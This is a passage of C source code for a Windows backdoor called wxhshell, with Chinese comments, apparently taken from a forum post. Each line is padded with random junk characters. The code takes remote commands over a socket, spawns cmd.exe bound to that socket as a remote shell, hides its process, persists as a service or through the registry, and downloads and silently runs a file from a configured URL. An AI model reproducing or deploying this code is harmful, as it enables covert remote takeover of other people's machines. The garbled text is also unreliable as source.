  else { p"UdD  
H6t'V%Ys  
    switch(cmd[0]) { Qu;cl/&  
  'OTQiI^t=  
  // 帮助 ;[-TsX:  
  case '?': { HPz3"3n!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :yi?<  
    break; 9-3, DxZ}  
  } . \t8s0A  
  // 安装 EQTJ=\WFF  
  case 'i': { 6^l|/\Y{  
    if(Install()) ?-Zl(uX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  J^V}%N".  
    else lPyY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J_S8=`f%  
    break; $&~moAl  
    } 2t,N9@u=UN  
  // 卸载 qC x|}5:  
  case 'r': { Kt#_Ln_6  
    if(Uninstall()) M(/ATOJ(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YstR T1  
    else (xdC'@&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e1OGGF%E n  
    break; 2if7|o$=  
    } R0g^0K.  
  // 显示 wxhshell 所在路径 #=g1V?D  
  case 'p': { |ns B'Q  
    char svExeFile[MAX_PATH]; DEw>f%&4  
    strcpy(svExeFile,"\n\r"); tP][o494\&  
      strcat(svExeFile,ExeFile); B%^W$7 q  
        send(wsh,svExeFile,strlen(svExeFile),0); bt{b%r  
    break; @u @~gEt  
    } 9]Fi2M  
  // 重启 'CMbq Lk#  
  case 'b': { U #C@&2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \_]X+o;  
    if(Boot(REBOOT)) SNJSRqWL/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dM=45$\q  
    else { J6I:UML  
    closesocket(wsh); jP{&U&!i  
    ExitThread(0); yiw4<]{IX  
    } `+m:@0&L  
    break; y '[VZ$^i  
    } lDSF  
  // 关机 xwF mY'o  
  case 'd': { 3Cw}y55_y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %vil ~NU  
    if(Boot(SHUTDOWN)) z?^oy.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); re~T,PPM  
    else { ZfMs6`Wv 1  
    closesocket(wsh); KTq+JT u  
    ExitThread(0); 6Hp+?mmh  
    } B[,AR"#b  
    break; BPuum  
    } \i'Z(1  
  // 获取shell M>_vsI^I'  
  case 's': { k-Yli21-/|  
    CmdShell(wsh); 'eo/"~/*w  
    closesocket(wsh); ; ,}Dh/&E  
    ExitThread(0); Z%Fc -KVt  
    break; Qhq' %LR  
  } 3_ly"\I\  
  // 退出 "ze-Mb  
  case 'x': { } J[Z)u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PU,%Y_xR  
    CloseIt(wsh); UCt}\IJ  
    break; /go|r '  
    } 6CCm1F{`  
  // 离开 Vel}lQD  
  case 'q': { %s! |,Cu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dEZUK vo  
    closesocket(wsh); lrAhdi  
    WSACleanup(); -VeC X]  
    exit(1); xg}Q~,:  
    break; bksv2@ar  
        } ?I[*{}@n"  
  } : eCeJ~&E  
  } Sv_Nb>  
o "6 2~  
  // 提示信息  W,|+Dl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FUarI5#fwF  
} h 8xcq#  
  } {h=gnR-9  
84WX I#BH  
  return; >%ovL8F  
} c: r25  
RfOJUz  
// shell模块句柄 6O <UW.  
int CmdShell(SOCKET sock) 1<Sg@  
{ f14^VTzP/#  
STARTUPINFO si; RA!q)/ +  
ZeroMemory(&si,sizeof(si)); /5<=m:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8t3m$<7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <.mH-Y5i  
PROCESS_INFORMATION ProcessInfo; AhD C5ue=  
char cmdline[]="cmd"; jU $G<G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S,j. ?u*!  
  return 0; f S[-K?K  
} &s(J:P$!  
=W &Mt  
// 自身启动模式 V2!0),]B  
int StartFromService(void) !~&& &85  
{ d[>HxPwo  
typedef struct [~u&#!*W  
{ f4 qVUU  
  DWORD ExitStatus; zXM,cV/s   
  DWORD PebBaseAddress; ?G5,}%  
  DWORD AffinityMask; ?!K6")SE  
  DWORD BasePriority; 9b&|'BBW  
  ULONG UniqueProcessId; P}]o$nWT  
  ULONG InheritedFromUniqueProcessId; xbBqR _ H_  
}   PROCESS_BASIC_INFORMATION; cGiL9|k  
*f3StX  
PROCNTQSIP NtQueryInformationProcess; \ )=WA!  
(Vr%4Z8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %@Z;;5L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FpiTQC7d  
b8e\(Dww  
  HANDLE             hProcess; u4_QLf@I  
  PROCESS_BASIC_INFORMATION pbi; 3 3|t5Ia  
{"+M%%`*#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PJcfiRa'jQ  
  if(NULL == hInst ) return 0; s-_D,$ |  
=#/Kg_RKL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m`9nDiV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +Q[uq!<VJk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L;* s-j6y  
NNF"si\FE  
  if (!NtQueryInformationProcess) return 0; K8aqC{  
*68 TTBq(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :{2~s  
  if(!hProcess) return 0; 0|RofL&o  
?+))J~@t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D3 yTN"  
r|=1{N x  
  CloseHandle(hProcess); Jup)A`64  
ICb!AsL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v,S5C  
if(hProcess==NULL) return 0; &s='$a; 4  
UWF \Vx*)b  
HMODULE hMod; "bIb?e2h9G  
char procName[255]; X+C*+k,z  
unsigned long cbNeeded; a8f#q]TyQ  
%\v8 FCb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rNR7}o~qo  
Rh ^(91d  
  CloseHandle(hProcess); H.m]Dm,z  
!JDr58  
if(strstr(procName,"services")) return 1; // 以服务启动 ;U|(rM;  
$uZmIu9Bi+  
  return 0; // 注册表启动 `R$i|,9 )  
} Vw1>d+<~-)  
}! EVf  
// 主模块 dgjK\pH`h  
int StartWxhshell(LPSTR lpCmdLine) Cjx4vP  
{ ;NR|Hi]  
  SOCKET wsl; A<ds+0  
BOOL val=TRUE; *qwN9b/!  
  int port=0; Qz,2PO  
  struct sockaddr_in door; c1"wS*u  
&h0LWPl  
  if(wscfg.ws_autoins) Install(); -;7xUNQ  
"_q~S$i^  
port=atoi(lpCmdLine);  SvT0%2  
1o`1W4Q  
if(port<=0) port=wscfg.ws_port; E ?Mgbd3  
I&{T 4.B:U  
  WSADATA data; s`jlE|jtN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n.&7lg^X  
SO=gG 2E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    xgcxA:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cgx:6TRS  
  door.sin_family = AF_INET; &{V|%u}v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gS5REC4I/  
  door.sin_port = htons(port); !?nO0Ao-$  
KClkPL!jP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y#j7vO  
closesocket(wsl); 4<i#TCGex3  
return 1; r8s>s6vm  
} fAgeF$9@  
rO7_K>g?  
  if(listen(wsl,2) == INVALID_SOCKET) { u%~'+=  
closesocket(wsl); ) 2Ei<  
return 1; hOwb   
} `(FjOd K  
  Wxhshell(wsl); w.q`E@ T*  
  WSACleanup(); hzsQK _;S  
2y - QH  
return 0; )X0=z1$  
MY,~leP&  
} l8FJ\5'M  
E`o_R=%  
// 以NT服务方式启动 /_0B5 ,6R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iT}>a30]B  
{ R iLl\S#  
DWORD   status = 0; '#7k9\  
  DWORD   specificError = 0xfffffff; QPVi& *8_  
N4vcd=uG#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EB}B75)x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a;xeHbE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SZF 8InyF  
  serviceStatus.dwWin32ExitCode     = 0; ^2~ZOP$A  
  serviceStatus.dwServiceSpecificExitCode = 0; eYv^cbO@:  
  serviceStatus.dwCheckPoint       = 0; '{,JuX"n  
  serviceStatus.dwWaitHint       = 0; H2],auBY  
`m'RvUc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?.,F3@W "  
  if (hServiceStatusHandle==0) return; Ge)G.>c  
(1=@.srAzK  
status = GetLastError(); |Gq3pL<jkC  
  if (status!=NO_ERROR) F42^Uoaz  
{ ;R+Gf!1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s1OSuSL>  
    serviceStatus.dwCheckPoint       = 0; ~Xx}:@Ld  
    serviceStatus.dwWaitHint       = 0; S>5w=RK   
    serviceStatus.dwWin32ExitCode     = status; ]fY:+Ru  
    serviceStatus.dwServiceSpecificExitCode = specificError; :LuA6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &v]xYb)+<  
    return; 6<z#*`U1  
  } p_xJ KQS  
%5L~&W}^"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l%V+] skS  
  serviceStatus.dwCheckPoint       = 0; ."Pn[$'.  
  serviceStatus.dwWaitHint       = 0; Ks3YrKk;p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -wUT@a  
} =n.&N   
{U9{*e$=  
// 处理NT服务事件,比如:启动、停止 ~p+ `pwjY1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]Y,V)41gCE  
{ ^Cp;#|g,  
switch(fdwControl) 9|jMN j]vo  
{ QfjoHeG7  
case SERVICE_CONTROL_STOP: ]@_|A, ]  
  serviceStatus.dwWin32ExitCode = 0; >]B_+r0m^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  2X`t&zg  
  serviceStatus.dwCheckPoint   = 0; 7yG%E  
  serviceStatus.dwWaitHint     = 0; VVF9X(^rQ  
  { e<DcuF<ZS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ybf,pDY#f  
  } f/ 3'lPK^  
  return; :EPe,v RT  
case SERVICE_CONTROL_PAUSE: 7LaRFL.,kO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; M3eSj`c3  
  break; BD$Lf,_  
case SERVICE_CONTROL_CONTINUE: J^WX^".E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dRs\e(H'  
  break; k-4z2qB  
case SERVICE_CONTROL_INTERROGATE: Yi-,Pb?   
  break; {DVMs|5;^  
}; 5/hgWG6.t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ga'G)d3oS  
} {#=o4~u%;H  
.Z`xNp  
// 标准应用程序主函数 U4"&T,'lTL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a'q&[08  
{ {h|kx/4{m  
Ct(^nn$A  
// 获取操作系统版本 RSe av  
OsIsNt=GetOsVer(); W T @XHwt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4U$M0 =  
a U<+ `  
  // 从命令行安装 h5vetci/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6R2F,b(_  
MO1H?U hx  
  // 下载执行文件 =BD |uIR  
if(wscfg.ws_downexe) { RP^L.X(7^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (Ms0pm-#t  
  WinExec(wscfg.ws_filenam,SW_HIDE); c r18`xU  
} IUWJi\,  
Z@ec}`UO|u  
if(!OsIsNt) { y`z?lmV)xM  
// 如果时win9x,隐藏进程并且设置为注册表启动 e6y!,My<  
HideProc(); '8 ^cl:X  
StartWxhshell(lpCmdLine); iYW<qgz  
} `/G9*tIR8g  
else -lfbn =3  
  if(StartFromService()) {rF9[S"h  
  // 以服务方式启动 }_}LaEYAo  
  StartServiceCtrlDispatcher(DispatchTable); c ? Zi/7  
else /+<G@+(  
  // 普通方式启动 6 G ,cc  
  StartWxhshell(lpCmdLine); zo ]-,u  
V\c`O  
return 0; IUG}Q7w5  
}
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只看该作者 1 发表于: 2006-10-10
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